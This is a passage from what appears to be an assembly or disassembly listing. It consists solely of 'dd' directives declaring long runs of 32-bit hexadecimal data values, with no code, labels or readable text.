8B46F534h dd 253D30B9h, 0B285784Bh, 8030C4AFh, 0CB21F67h, 0C763667Fh dd 9E8503F6h, 0C1887AD6h, 3A29A03h, 52A2EA89h, 0ED5B0C0Dh dd 2D32E5CCh, 5DA526Dh, 0C36106F2h, 0E0AD56E5h, 4AB78B61h dd 0F859AFB4h, 0FDF226D2h, 0D5393434h, 0BE607AC4h, 206A9A3Dh dd 0EF03FDB2h, 6668F529h, 4FEE7583h, 7B657B85h, 0A5261E0Ah dd 0DFEB3AC5h, 0CF5D4535h, 0F2CE3C7Ch, 0BF0252CFh, 0F0060B31h dd 96B402A3h, 175E55D2h, 0D2935E96h, 7F34573h, 92713A22h dd 15A8999Bh, 3F6E9D08h, 0CC6CE8B9h, 539EAF18h, 0A3937AC1h dd 7DF02EA5h, 1D30174Eh, 3E353CF5h, 990C0EA8h, 0D2F716ECh dd 5185AB37h, 935B360Ch, 0FD08576Ch, 70D2B7A6h, 0AAA775E7h dd 0DF37DA55h, 0AA49385Fh dd 2801CC68h, 0B72FCF42h, 0DCA350C3h, 9ECCCA28h, 67839C83h dd 0FA56A0ABh, 0C441411Ch, 8F976B71h, 1BDBFB45h, 521C7AD6h dd 70D7FB99h, 229E8942h, 0B48A5EDBh, 1EFFAFEAh, 0C5E46717h dd 0A86957E1h, 7380450Bh, 1EAE8772h, 0B6AEF5FDh, 0A04A5DEAh dd 0AFD72F94h, 8C75F5DEh, 0B027446Ch, 0C94F93D7h, 0B7BE303Bh dd 0FE6F5AD2h, 0C339A65Ch, 22D450A5h, 83334F89h, 5B4C7C95h dd 0C4E8C8B7h, 531B39F7h, 499E7971h, 29732075h, 0FAD6B457h dd 0A9A91EE7h, 779FA36Bh, 0C84E4B64h, 1E99332Bh, 1F372D10h dd 0F06A980Ah, 7BC5572Ah, 0C934DB23h, 0A11C215Eh, 9790925Fh dd 0B67C2335h, 0C62D9B3Ch, 0CC2142F3h, 4C71198Dh, 0F7EC3E9Dh dd 842B04A4h, 7A7C7C07h, 890AA4A4h, 993E9526h, 1AB31E76h dd 6B344CD8h, 89BE286Ah, 8145A20Ch, 0F9D9A674h, 0FE2E8C55h dd 2CE3A5A8h, 0EC3F44BDh, 9C8A47CBh, 573866FDh, 0A0B2A307h dd 5BBFAF78h, 0DEF1410Dh, 0D882AD9Dh, 493D6AD6h, 0C619D35Ah dd 0FC28ECCCh, 0F81F7BD2h, 11589057h, 0F24AF75Fh, 32342819h dd 5F382DE8h, 0DFD800ADh, 315C8CCFh, 0DDADAD07h, 8EA6509Ah dd 0DAFC800Eh, 0FC02F5D7h, 7A477879h, 5D34371h, 110F2A6h dd 52A17F7Fh, 16EDD2A3h, 54FEEECAh, 0F8F9763Ah, 0F65F06D2h dd 1EA0B0A5h, 7F72BE86h, 0B2CF1F82h, 6FB888C6h, 8ED16207h dd 0F287451Ah, 2466BC34h, 2D0B304Ch, 0D3A9B50h, 44024472h dd 60E30E7Bh, 591DDF74h, 531EE11Dh, 0D097014Ah, 0AD31D932h dd 62F53FFDh, 7A373092h, 0DFBAA3E5h, 0D6999D82h, 82B7621Dh dd 369CD9C9h, 272A37D6h, 46F56384h, 0D652EC86h, 0D50DFE56h dd 0C9637F02h, 0BAECBABh, 0C4F9C375h, 0E8D30903h, 115D0234h dd 0FE7451EFh, 0CA1D1582h, 7DA7CB5Eh, 0B1EFF692h, 28B549CAh dd 788FAA64h, 0D57BDD8Ch, 968CAE81h, 69BB34FCh, 19DDDA02h dd 0B4724BD4h, 632D793Eh, 8371E99Ah, 336FE2C3h, 5B23D6D4h dd 8F8CBA0Ah, 3D6421A7h, 62C888Ah, 926B4814h, 829F9C74h dd 4FB12FDh, 5F029BCh, 58413D57h, 0B3C572A3h, 309D29AFh dd 70967CC4h, 0EFCD1E53h, 231BD0ADh, 4CADB584h, 3668FEEDh dd 642CBC1h, 61467143h, 0F54A4E3Eh, 0FBF0A4FAh, 34CB52C7h dd 0B157FCD6h, 0A61B41ADh, 0CD4A014Ah, 0B891FCAh, 2877D6D5h dd 0D19F0688h, 120DA63Fh, 2F3BF4D4h, 8E0EF459h, 0AE0DFB41h dd 24317B41h, 2C9D676Ah, 0A63B3AD7h, 61D88066h, 0D7EDE2FAh dd 3C884BF9h, 0C556B3FAh, 0DD17B132h, 8A58C148h, 0C85E5C45h dd 2F83583Fh, 0B8DF9235h, 556ED3E8h, 88EC46AEh, 780F7018h dd 9B9C2076h, 19A0C4DDh, 1C3379FEh, 0DC3B9AF3h, 55D59B78h dd 73466A65h, 55774681h, 92E5EBA8h, 0E1BA2B00h, 0AFAD589h dd 941E7298h, 0F228960Ah, 0F264368Bh, 0E6496344h, 0D0BB1ED0h dd 51F5E3Ah, 8922B5D9h, 9B1DA103h, 8225151Fh, 1E85E55Fh dd 0FA06BDB1h, 0A9A616BFh, 0DDC52618h, 0FF38DA90h, 67EC822Ch dd 0BA3631E7h, 1F707619h, 784DB576h, 91CC12B8h, 967B7E3Bh dd 5539C90Fh, 0E27E5E7Bh, 17FBD9E8h, 42B8D5E3h, 8FE8C3CDh dd 1497DBAEh, 0FCE3C4EBh, 39BFA935h, 1FB627DFh, 480B63D2h dd 7BB467E0h, 14ADF2C1h, 4ED7A17Ah, 6F481EBCh, 613DB0EFh dd 4AD02589h, 0F8748479h, 4B83E198h, 0FDB701B1h, 1D163C1Eh dd 0E88095F6h, 10292C38h, 6522970Ah, 89F76D69h, 33296CE4h dd 0C7341F85h, 28D32E46h, 0A08CADE8h, 1C96A207h, 6DACC9F9h dd 0B10726EBh, 14B59F64h, 0C2944D6Dh, 0B3F63229h, 37DB5751h dd 0CC1CC92Bh, 70DB7947h, 0F1B8DB4Bh, 0CE1F69D4h, 0FC9EB55Eh dd 3AE6E373h, 0E5E6E3Eh, 10B694FEh, 0B7D3DEC0h, 3D57471Eh dd 48F57F69h, 26DEF8ECh, 78727DBBh, 874119EFh, 0A8DCB720h dd 0E11365A7h, 1DEC69B7h, 0EE5F3B6Bh, 728F1259h, 0C74FAA42h dd 0F9FCB10Dh, 6F47225Fh, 45413069h, 6018E72h, 0E68971B2h dd 0DF193D13h, 24BA220Eh, 4E9B788h, 1CA5A635h, 0B28527D4h dd 702D889h, 16E26541h, 9C489C25h, 7F881A60h, 0DC9A0BB0h dd 5DA880EAh, 0C8E2D9CFh, 0E77E3FD1h, 1750343Eh, 0E509E299h dd 0C68A13FDh, 3C1C45C3h, 60F386E5h, 719333D4h, 139F3693h dd 3AFE3B0h, 0CFFFFC0Ah, 0E6BB1C91h, 0EDD48BE0h, 0F1D3D8E5h dd 457992EDh, 0A245E006h, 15CEAEE8h, 4C341CC4h, 2EE39F63h dd 0D328472Bh, 81C4194Dh, 9E895CB4h, 0CEAC259Ch, 49F7E558h dd 63DEFA48h, 921B91F7h, 698C1663h, 0E8E9A47Fh, 0F50B4E5h dd 0F920D8C2h, 0A2CF25ADh, 0F5425FDAh, 1965A2D2h, 6233421Dh dd 0CFF155BCh, 7179DA10h, 0F355A9A5h, 565EDCFAh, 0EE3C7E50h dd 0C51BDA24h, 0E3FEDABAh, 6535033h, 20D16FB2h, 7AFC3716h dd 8E5F4BBCh, 8D6EF35Eh, 0A648C39Fh, 3FD618FEh, 5B5FDC1Fh dd 0D7295D00h, 6BB91A9Eh, 4BF70F26h, 0BAAF16EEh, 54AA30D4h dd 4DCC30BBh, 0B543C402h, 8BBE9D71h, 84DDE887h, 61C40C20h dd 0D9EAD09Ch, 9BCEA5DEh, 5FAA2A44h, 0FCED400Ah, 70B4C79Ah dd 0CF12786Ah, 0CCA94DA0h, 9BC8F4E5h, 0B2CEE675h, 5DD088A1h dd 99B1493Ah, 254D3203h, 17EEC69Dh, 0EC6390AEh, 95069EA5h dd 4B412915h, 2F65BAA0h, 0E06D8967h, 0CFD0065Fh, 0DFD76871h dd 8383233Fh, 0C3B9236Bh, 1D531478h, 8A2662A6h, 0EB132970h dd 41D97D2Ch, 22A8A814h, 55E00428h, 31B69207h, 0A8252C61h dd 7936C15Bh, 2FB3BB62h, 7708BB18h, 3FA8398Ah, 0E02663A4h dd 68FDE16Ch, 0F7FCACB6h, 61A83F70h, 650D9C0Fh, 0D59CC7D2h dd 5475514Dh, 0E1D5A9BDh, 73A8E25Bh, 7B2C343Ch, 18FE904h dd 0AB264CAAh, 880DD984h, 24CD4CFFh, 0A3AE84ADh, 0DE84C841h dd 0B544E1EFh, 0A4CD12E9h, 5D9AFAEh, 0DD5EFBF4h, 46B5F264h dd 0E2A2595Eh, 0C6B050BAh, 315E61Fh, 0BED18AC7h, 312B4381h dd 3F3C00C5h, 0F7FDA9BAh, 2774BB1Bh, 0B6074B3Fh, 1EAEE267h dd 89E46128h, 65480C44h, 0A52B2487h, 31E44571h, 1875C3C9h dd 26A59357h, 0A951D290h, 0BC77B5CFh, 542CE925h, 0A76B48E6h dd 0B9A172B3h, 9B33270Ah, 90BAA55Bh, 0BD5EEFB9h, 0AABA7682h dd 7EFF0893h, 0B74FA2DBh, 0D1B03085h, 2B070249h, 0F76D4722h dd 0F0D148F0h, 99C24604h, 5AC1C726h, 19074E0Eh, 72D7AC1Eh dd 225286C1h, 0A1E90691h, 0AF5AEE20h, 385688B8h, 7D173CEDh dd 57CE0E7Dh, 1DE2A42Fh, 0A48CDDF6h, 0DE888BAFh, 0BA3928h dd 59AF2372h, 0B892864Eh, 12D647DCh, 79E13C82h, 0E4AE88F8h dd 7094C424h, 0A6BB493Fh, 0D69252CFh, 43A7B797h, 94C313A0h dd 0DAAD3279h, 9101F77Eh, 0A39C7E47h, 39EFFE9h, 0B70F5DABh dd 3A2D51B3h, 1A7E2DC9h, 7B5155BBh, 230B3EFh, 0B4F939BAh dd 81502D90h, 0AE64655Ah, 19699D4Bh, 89AE8FB2h, 84E8F3B7h dd 2EF1625h, 0B34AB5DDh, 4777A8E3h, 0E990CD95h, 0D4E0519Ah dd 83EF1B86h, 5FCE64E3h, 0ECE3E8h, 5B9A7A1Dh, 6258076Bh dd 0B055A2E9h, 2166393Ah, 0ED225B4h, 0BD09DDCFh, 9B2D6659h dd 2CAC71C8h, 0A18CD44Eh, 3353941Dh, 4A09F763h, 53848185h dd 7990D5BCh, 0A1E6C02Ah, 91EE67A1h, 0AB08F32Dh, 5F2EB90Bh dd 0C5DCA4AEh, 82E11B95h, 0C4500311h, 42968268h, 0FF2F277Dh dd 16DF4D30h, 1FEFE213h, 43A82393h, 1CE5C6AFh, 0D86D0BDh dd 59B1BBADh, 2A670503h, 83862B0Ah, 0DBA29A48h, 0B5B98225h dd 651A5C2Ah, 342756C6h, 0B562EE79h, 5F59D5D3h, 0D3D5B492h dd 41666A54h, 26AB8F5Fh dd 1BF59026h, 0B301ED8Bh, 4D3085C9h, 10BCF306h, 4A5BF742h dd 0E248ACC4h, 8564477Eh, 19BC0619h, 7F500634h, 6BAB1340h dd 4BAE6074h, 8AF3A067h, 10233933h, 72DCCE3Ch, 0CD175BF6h dd 3F4F659Bh, 9559E9B8h, 0B6084D3Ch, 0B98F87C2h, 146F2CDEh dd 0B7E584B3h, 0CBB8BD0Fh, 296DB4F6h, 0B507B8D4h, 8343B297h dd 0FB008CCh, 0EE3902EFh, 0C97472Eh, 5BC579F0h, 0D6A07B37h dd 75AEF809h, 571C675Dh, 0FE09C6CDh, 7ED2FDDEh, 0AA21480Eh dd 6FBBE3D3h, 9CB90CBFh, 1D18DC81h, 0C4B507A5h, 0F80E1EE1h dd 984A4FFCh, 5A2DA913h, 5D07B891h, 37ED9C53h, 4654D62Eh dd 7A23E13Bh, 0D7813620h, 5DB9DCF8h, 4CE4960Fh, 875388A1h dd 130D0087h, 35CCC3A1h, 356801F3h, 8E1CE2ABh, 0FDA94B63h dd 3C7FCFDBh, 7370A5D5h, 0D0617BB7h, 0DB01039Eh, 581B48Bh dd 0CADE67FCh, 7795A7Ch, 0A9532D3Fh, 0C280181h, 952A4B39h dd 9EA66333h, 7C14E348h, 4D0AD7A1h, 78AE7DABh, 0E4338225h dd 9995F2A3h, 6FF32AC8h, 982D44A6h, 761B0047h, 55591A6Ch dd 6930E73Eh, 0B7C28341h, 7DDE667Ah, 4B8AA619h, 52EDE75Fh dd 0CC59D8E7h, 0B86B2B4Ah, 0F17CA19h, 6FF6A16h, 66E8750Eh dd 8FC7664h, 0FB6E2FCEh, 0C8C200D5h, 16C91C4Ah, 12F98B53h dd 4AABDFFh, 23539B1Bh, 0D96F1B9Fh, 3DDC761Fh, 98082E52h dd 689F9997h, 7C5907D1h, 0A87120C2h, 0A75ED1A6h, 4FC78885h dd 6B8E3FEh, 401BFEA5h, 69087C37h, 9F325D16h, 0C6B31F80h dd 0C9E81C14h, 720319Fh, 0AA67EBAEh, 0CC3B5B20h, 76304903h dd 88A764Eh, 0B4069416h, 0C6DDDF82h, 0CBBE7C87h, 0A2997798h dd 98A1179Ch, 65AF5F11h, 0A0D436A3h, 0A307F045h, 44CC7A5Ch dd 81AFD031h, 9CC16ADEh, 5B44FCD5h, 0E0D65137h, 5CFF7285h dd 272B01A9h, 517C6041h, 0F5220525h, 453985C2h, 1723BB5Eh dd 6865853Eh, 56782FECh, 5A8EB364h, 0F09B6083h, 14DCDD71h dd 0C13173CAh, 708264E9h, 0A6B19682h, 74B20C45h, 0DAA64C82h dd 0F8ADEED9h, 71DE91FAh, 0E6A6DBB6h, 14E25606h, 0A79720CCh dd 17A25FBDh, 0C14DE248h, 0C75B13AAh, 0C39806B2h, 1B95A15Eh dd 41086F06h, 0E5C81D77h, 763B6980h, 4C417142h, 1393B504h dd 0D5E3A9A3h, 0F1892614h, 3D3ADA35h, 9AF0416Bh, 0BB7FD090h dd 5C714140h, 0AE3E9A54h, 0EDC812AFh, 5CC43859h, 0D33A4411h dd 0A2D507A3h, 0CBE49551h, 0A96A698Bh, 0FCE348C8h, 0B57EFC74h dd 5E362FA9h, 0BDB6210Bh, 9DA154AEh, 0B5D37D43h, 0AA0B424Bh dd 2FAFDFA1h, 0CA7BBC7Fh, 0E5B2925Fh, 38B94D8Dh, 31CF06BFh dd 75FE77FEh, 11472C6Eh, 287A1358h, 0E48C1734h, 9A54535h dd 5B411E1Fh, 0AEECED3Eh, 0EE9EC688h, 6FCD33BFh, 9641E6FBh dd 0AFD46E09h, 0F4859F71h, 824F03F7h, 57C82083h, 547E0D75h dd 62213F5Bh, 6E82157h, 0FE37700Dh, 0B89C5DA4h, 9F82034Fh dd 0F261A0ABh, 206A531Dh, 0AF2284B0h, 0CF65FE0Ch, 0A346310Ch dd 0F3E0E9D0h, 0BD191795h, 5433D89Dh, 3FB1CF2Bh, 6A2139A6h dd 65AEC612h, 1ED0F57Dh, 0F52F8FF8h, 3324CD07h, 8F5FA593h dd 77563ACEh, 0E417CEBDh, 59F04590h, 0A56FE4EAh, 683336E1h dd 436008F8h, 6B0AF2DEh, 2E26055h, 3BCB5533h, 64CD10F4h dd 0D3E600FCh, 7896AED8h, 0D747C704h, 6462C549h, 0EBF293E8h dd 3CC3708Eh, 0E032CAE2h, 6E8D1A55h, 2A0E76A5h, 91290CD5h dd 0B195CADEh, 1320C86Ah, 0C035DA3h, 6753E355h, 31BE44F9h dd 52711BA2h, 9EC1DB35h, 8095E4EAh, 0A86DE4D0h, 0CC0B0E5Eh dd 990CD0ECh, 5F8D236h, 0BCBCBF6Bh, 0A27885B7h, 8741BBBCh dd 0F68371BDh, 0C19416D4h, 0B13DE4EDh, 6D85660Fh, 0F4039C80h dd 0BBAEC841h, 0FE4FDE44h, 77249757h, 1F7CF3CDh, 0EBA17EDh dd 4B280721h, 91C443F7h, 0D7E88A30h, 169CADD6h, 0A2ECAFD8h dd 0D4E6D92h, 0B1BF4275h, 0A70F992Dh, 0F6D25512h, 16D95E8Ah dd 60771FA4h, 5BC460Bh, 472EFFC5h, 0E0A42F0h, 0AFD6C7B8h dd 2B3F8934h, 2DC0A2E4h, 0FD9B1829h, 782AF6Bh, 0AA8F1E1h dd 0E20E5806h, 0DB470C84h, 0D7864244h, 88DA9289h, 0E7632BB2h dd 0A262FFAEh, 0F115BCA8h, 6E44C1BCh, 0BB1CC853h, 50B3A9E4h dd 0CC808B96h, 66015284h, 28DDE499h, 3D1F93EDh, 0E231253Dh dd 4B644532h, 0CE315BFEh, 39DB2DA8h, 0E16B1C4Ch, 0BA63C969h dd 0D0737A15h, 85F00347h, 8FA4AAD3h, 6188CC65h, 3DD5ABACh dd 5FD4A72Ah, 0F83F2F8Eh, 0F7C8AAECh, 9A15224Bh, 9190A06Fh dd 13358989h, 54D98C61h, 0CC78941Ch, 0FF2603ADh, 25CE7AF1h dd 0E601C5D7h, 2D00B344h, 0AAE23566h, 0F79DC0Ah, 0A2F28D37h dd 0F5B845BBh, 0F4C98D77h, 56B3848Ah, 0E7ECB050h, 6E183D81h dd 0C8033928h, 805B6ACFh, 6EFA882Dh, 570E03E3h, 0C3B77324h dd 0EA88CF65h, 0AF9B5D1Fh, 7FE9C9B0h, 98688099h, 3ADD3EF1h dd 905E8F11h, 27E2CB84h, 39630AF9h, 9AA9CB32h, 324101Ch dd 0A96D04ECh, 0A92DB684h, 3487B455h, 0E083C714h, 3EA96D2Ah dd 2F02EBD1h, 32B35B9Ah, 1A78EE7Ch, 12B84230h, 0B38C60D9h dd 1B692C24h, 0F5538B8Fh, 99C5C08Eh, 970B8197h, 17D8D2D3h dd 299CA9A5h, 56962062h, 6FAB5A01h, 908D2F62h, 0AF52F48Eh dd 7F09E333h, 0C1FBF63Ah, 9F8A1126h, 8A69AF4Bh, 9BB84F47h dd 0BC30C701h, 0F0DD812h, 3D9C2DC4h, 94D86383h, 40E785D9h dd 0DC5F94A9h, 26D09444h, 0CF36D8B6h, 0D871FB2Dh, 0CF57FEB4h dd 908C585Ah, 0E11BDE14h, 3DE586D3h, 6FF3AAEEh, 1BF191E6h dd 9073E18Dh, 0BF5E7D46h, 0A48C20E8h, 54172267h, 768DB9FEh dd 7BDA847h, 0AA913C2h, 198628E4h, 4A8FCFC1h, 8E2D6A7Ah dd 0A687A9B1h, 5E03BC36h, 22182E42h, 0F1C9E6B5h, 5209CD1Bh dd 0B9C8053Fh, 6C01B0FCh, 37DCEF35h, 44B01BDDh, 8C30EB01h dd 0F2E77FCBh, 7A3DB999h, 0D4080747h, 9FA70CEBh, 0F19C5C65h dd 0E68D3C97h, 70BC9638h, 17F307AEh, 0F6CEDDE9h, 0FBF76BA6h dd 847801B0h, 0BAE3E58Ch, 28113ECh, 47894F2Dh, 0F373FDBAh dd 0FC95D601h, 0D071EA9h, 48A4E822h, 339C93BEh, 11541DB5h dd 0E1294647h, 0BB1A37CAh, 0EB4E8F3Ch, 533CF7DBh, 5190B7FFh dd 0C8AB8D52h, 402E5024h, 1A55F98Eh, 0C9CF665Ah, 0B91E8EE4h dd 0A6AD4B1Eh, 0AA926309h, 0E9DE9156h, 1278B29Ch, 0C6EE7B92h dd 0FDDDB8EDh, 32D4BAE1h, 4F3CD03Fh, 35E7473Eh, 4ADC85C0h dd 6143E74Fh, 36177477h, 6A793F64h, 0EEE1362Bh, 0CF045C0Eh dd 9B12CB9Dh, 83F39C7Dh, 690E87E1h, 769584B9h, 577389D8h dd 0BB264F10h, 7688D898h, 785965A3h, 65A39A22h, 415CCA17h dd 590C2BD6h, 0F0FB453Eh, 0A4BEBA9Ch, 4415B4DEh, 9E5CF8E6h dd 0F0022631h, 2EA8DA2Bh, 77614C61h, 0A656B30Dh, 65E90F07h dd 7934B5DEh, 0D0C156F7h, 855A9317h, 0A8C6FFAEh, 4575BC26h dd 40CB0A31h, 2008BB95h, 0B9D00EB6h, 2E999FECh, 867C6A6Fh dd 1AC3CEC4h, 0B347A63Dh, 63ECBBB8h, 90C24626h, 0B1EBFA07h dd 0EC1ED5ACh, 2271446h, 75989B7Ah, 123BE76Ch, 0A3076377h dd 0CF1A379Dh, 51A2A17h, 4F7DD683h, 4248E71Fh, 3086EE1Dh dd 70B3DB85h, 3F170D95h, 1286944Bh, 6E4D015Eh, 6AF4B31Eh dd 1686758Fh, 0D5052B1Ah, 0D67AE36Ah, 86E85B6h, 6A8F6E0Bh dd 0D3D8A09h, 3065C604h, 6D408CEDh, 1CF690F7h, 0A997E89Ch dd 96C226Bh, 0BA122005h, 0A35DC91Dh, 0BCDD7E5Bh, 0B1EB7EE8h dd 8E14058Eh, 0E0DBDACBh dd 0BA2D12DAh, 2FC18514h, 2DBFDF97h, 26D7CF26h, 0A6F729DDh dd 7DC61FACh, 58CBF65Bh, 2697AC8Eh, 273962A2h, 0C44212A6h dd 545F1655h, 0EF5E97DEh, 0E48976E4h, 8C50728Ch, 7418C168h dd 0F051E410h, 26C26727h, 25CDA808h, 55E5F77h, 9ABF3018h dd 0CC880F78h, 4EA39CFEh, 5ACD7547h, 42D73500h, 0AA65F81Ah dd 718D88DEh, 7E2EEC46h, 0AE61B4D9h, 88776006h, 204BD6ACh dd 0FBF570B9h, 0FA8B9B0Eh, 0E0BD72E8h, 8E4E3488h, 0F095DEEDh dd 0DE29CDC3h, 3CD25AA1h, 0C33DBD40h, 47029BCBh, 0F02C1E0Ch dd 0A9AE8154h, 770088D0h, 72CC15BBh, 8D041E84h, 0F9DF7648h dd 1767F5E6h, 5AD0C0D2h, 0C5FF41CBh, 57EB569Ah, 0EB413324h dd 36409F99h, 213FD44h, 0A0678043h, 0B8A25A83h, 2E006DE8h dd 9EB40F3Ch, 62406E67h, 0F0800CFAh, 0F89ADE69h, 0BB0BA00Fh dd 0B2B3BDE0h, 0DE8D52ABh, 219303B3h, 85BA3CA6h, 29266D81h dd 13031994h, 851164DFh, 0F5FA0567h, 52BB4092h, 1720DBCCh dd 0F7E7C73Bh, 1209F580h, 0E852EAE4h, 3B86E6BFh, 0BD397B08h dd 6CCD0CB4h, 78E8804Bh, 971CA60Fh, 4E04220Eh, 0ECEA2621h dd 0DD2F4F10h, 55AB7B42h, 68B74678h, 0C9DE85CDh, 0DEE083F1h dd 0AF692A21h, 0C6B55793h, 9929823Dh, 3FE174DDh, 462CA2B7h dd 0C526B46Dh, 862A3788h, 4FFF4DF7h, 7E2C9B9Eh, 966B0E0Ah dd 608945Dh, 33CD6422h, 2E48766Dh, 702C6CB1h, 803F80A9h dd 6D448867h, 0B89EE9EAh, 89E9AF19h, 8ACB9416h, 0E1CB6D0Ch dd 0C7D90C3Fh, 0F42866A9h, 208EECECh, 2024AD33h, 5325B01Ah dd 0B6B8C84Eh, 82D25ACDh, 8F49353Eh, 642058C7h, 756375F7h dd 1552D848h, 0F755B159h, 0C70FF6E9h, 10F11154h, 7AC3D719h dd 0D7181D72h, 0AFA8932Fh, 0BA33738Bh, 1C196B6Bh, 1B2C465Ah dd 0D2261A66h, 0BFCA53F4h, 0FE704FCFh, 5937EE0Bh, 1C105A0Bh dd 99C550Ch, 0E7260C86h, 0F4E244C9h, 0B6D32DDCh, 69DA34D3h dd 0DEAF5BA2h, 2EC253DCh, 3E28CB8Fh, 1EA3E67Fh, 8CE981F2h dd 0EF46BB06h, 0E72CB075h, 0CDF147B4h, 10089F2Ah, 0F8AE9B53h dd 687EEC84h, 4B5DAE44h, 143F5AABh, 81EBE284h, 69445CC4h dd 0DB81EA64h, 7976BAD8h, 0AC380AF2h, 0DC07A85Eh, 90C5BE51h dd 835853ADh, 58E3FE3Ch, 0CA88B589h, 2BE32BF3h, 0F69CD05Fh dd 0F9F3B4D8h, 0AC734F2Ch, 5555C7DEh, 0E8B419EDh, 89A122EEh dd 0F378D122h, 834C96B9h, 56476711h, 2216F9D9h, 0D9BDE2D9h dd 29045E91h, 61EDE532h, 25B5844Bh, 606B720h, 0B2968F47h dd 351A1376h, 30B049C9h, 8851D4B0h, 0A62053BAh, 6F31471Fh dd 0ED303677h, 7C0CEC53h, 8765B12Bh, 8DBF431Eh, 8A58C9Ch dd 0E6AC4B73h, 882A5CF5h, 0BD39E91Ch, 661182F1h, 0A0BBEFDFh dd 0BC6AF23Ah, 584CA141h, 0B76531EEh, 63C55FE9h, 0F060C5A3h dd 3C3A29F9h, 600C4808h, 3DF41BD6h, 0D416D285h, 37144A98h dd 1B54F199h, 57AC7D94h, 0A0B75089h, 0BCA9F20Fh, 0C4DECAE7h dd 2EAC2B15h, 333EEBFCh, 0F36BC5D5h, 77CB3869h, 5781E55Eh dd 724D8E73h, 0F55F239Fh, 0D45C1C3Eh, 0E634064Eh, 4EE684Bh dd 16B5644Ch, 75D338Eh, 0B65F397Dh, 2330665Ch, 0E79365D1h dd 48043828h, 0F2B6C02Ah, 1A74F9h, 0A4762364h, 0A20FDF1Ch dd 48428371h, 0B43AB729h, 745ABFA3h, 1BB84B7h, 8A6AC887h dd 3A6DE00Ah, 5A70886Eh, 524996F9h, 0E69B8A53h, 3B1A42E9h dd 2BD1778Eh, 0FE2319B4h, 93206DF8h, 3CFC18AEh, 0B51FB443h dd 0C17E39E6h, 0C1FBDF1Eh, 80011156h, 0F1764874h, 2411B4E2h dd 0E12BA143h, 2D51006Ah, 1216CA94h, 0B209AA8Fh, 26CE5284h dd 18D830D9h, 0C69D42FCh, 0B72B96FFh, 0B3744F5Ah, 16C4AFA3h dd 48FC3DABh, 62BF0996h, 71F9ADA4h, 3B0C5BF5h, 7969E309h dd 2509E48Eh, 0CB4B8A30h, 0ADAA0164h, 0DD0DB41Bh, 4A3D61DCh dd 0E4D4D556h, 5C9984F4h, 0D919566h, 87D3AC8Ch, 541DD996h dd 40566BD5h, 0AD8FCBB8h, 0C6597552h, 0E5A43EDh, 0CE78EEB6h dd 6F649044h, 675509F1h, 6CFC6BCh, 56A7DA6Ch, 0D9891680h dd 966B7352h, 97917438h, 0CD67F02Bh, 0EC87A26h, 4973F4A0h dd 0CD0C5D3h, 4265B7E5h, 0E5BC382Dh, 0A60CCBEh, 742FACFEh dd 0F5392104h, 4BE7EF23h, 0FE0C534h, 4D1BBE72h, 0F3C52E2Dh dd 0E7F71D8Ah, 0CFFB7DF3h, 0B6271E0h, 0E230D9B4h, 0D9BA2DC0h dd 3AA9F2D8h, 6CC634BEh, 0E295A3A9h, 6718824Fh, 0A3AD6957h dd 90FBDC67h, 0CA2D1D33h, 0A074B558h, 11A45435h, 8BDE2920h dd 8D1616A9h, 860F72B6h, 0D2D94542h, 0BE4F4789h, 0CDDBFAB4h dd 6A8411EFh, 66BD5CB7h, 0D8EF1694h, 0B3569D39h, 0D79EDDB1h dd 95DDCFE6h, 0D92FE51Bh, 4456B147h, 3E48484Dh, 0C13066B8h dd 915097EDh, 657A4B0Ah, 4F893B9Bh, 0C16D8D63h, 56C966FDh dd 12C97CBFh, 68B94E74h, 5E35A20h, 0DE2F7918h, 0B4339D5Fh dd 0CF06B4E5h, 0E1D9BF9h, 8117A025h, 1C14FDEDh, 6ACC1D3Dh dd 0C54AC186h, 8257866Ah, 0CE049D08h, 0B2794A21h, 0FB3CFB95h dd 0C3DEAE81h, 0F9FCD975h, 6CD8363Dh, 35C6D7D6h, 957DB335h dd 85652B34h, 670C6C3Fh, 17809BEEh, 89A37EBh, 0C459D328h dd 4B551C20h, 0CA0AFFCh, 6CF7EA61h, 0A9113EADh, 9D7D0C81h dd 9D75B6B3h, 37832BE2h, 0BD18DB80h, 0FE9A5245h, 0D7AD9E9Bh dd 8ECFCE54h, 1F1738D2h, 0BCE4853Ch, 42F81A53h, 0EAB34201h dd 9A31A438h, 39335DDEh, 5D65279Bh, 3A68FAB1h, 468D8504h dd 198A7A08h, 1D0C86AFh, 0DA0559ADh, 8909B633h, 0CFA1E4DDh dd 0B45D7F36h, 0FDE87D45h, 9E81F0F6h, 0B0FA1BF1h, 1F2C1363h dd 82AA4CABh, 57C7471Bh, 0F247ABA5h, 6462DD36h, 5B8F29DBh dd 8C98AAC1h, 7F57820h, 0A6E296D5h, 0FDE6BF6Fh, 0AF6D96A4h dd 619DBAh, 0F23D1F30h, 0D01100B3h, 0FFE4CCF0h, 9F6B5E5Ah dd 55F2BD86h, 21CF9063h, 0A7C79B27h, 0E4CD97FCh, 2B30553Ah dd 38D0C092h, 0DD599A05h, 6AF676F2h, 31B8E83Ch, 0A874B481h dd 0D81FD6DDh, 8AA1680Ah, 93B6C2A2h, 0BBBE3BD2h, 14B63E8Bh dd 0ECA77378h, 0F7046BDBh, 28F3658Fh, 98C74E2Ch, 393EB422h dd 564D176Ch, 0F5C3D24Eh, 30035357h, 0EA6B2D4h, 4EC5FB63h dd 5B14A8CAh, 14E81B37h, 0F3652279h, 0D4454859h, 0F1DF9F5Ch dd 27FBB6C9h, 0B8B5332h, 0E71872B8h, 88C5F27Eh, 3646271Fh dd 0A9BB4969h, 0E95882B2h, 285A73B6h, 0BE181700h, 8837D136h dd 0CA49E7F8h, 47FE0FA1h, 26F2379Bh, 0D6661B47h, 0B93F9277h dd 5E5B8816h, 4057E610h, 0C56375Dh, 0CF374DB3h, 0EC84BFC9h dd 5A55DAFFh, 0D09BA144h, 39654B59h, 61FD6913h, 811A68E5h dd 924DD0D7h, 8ABB3D4Dh, 7D2C0180h, 5F656E0Eh, 1872C38Eh dd 98009DC0h, 44AFB4B4h, 0C4F6D6D4h, 528B5E05h, 0E480441Ah dd 0D8D0CAF9h, 805CA7DBh, 0C93BBCDFh, 1702C143h, 0BF32CC28h dd 76BD87B8h, 38B4D542h, 73EE090Ch, 0A92434FAh, 1A90376Dh dd 0FA425B2h, 2BC06029h, 587AB93Eh, 0F05D26DEh, 0CA835590h dd 3A8A64ACh, 0A44A1C64h, 5DE634E7h, 0D5451379h, 0A2562B90h dd 1E8400BFh, 11CDE317h, 0F41BBA36h, 92CBD45Bh, 0E78F07FFh dd 2B258CCh, 678C6ACAh, 0B41EBA9Dh, 0D377507Ah, 0FD07D818h dd 0E24B28B3h, 0DEDD48B7h, 0CBD93ECFh, 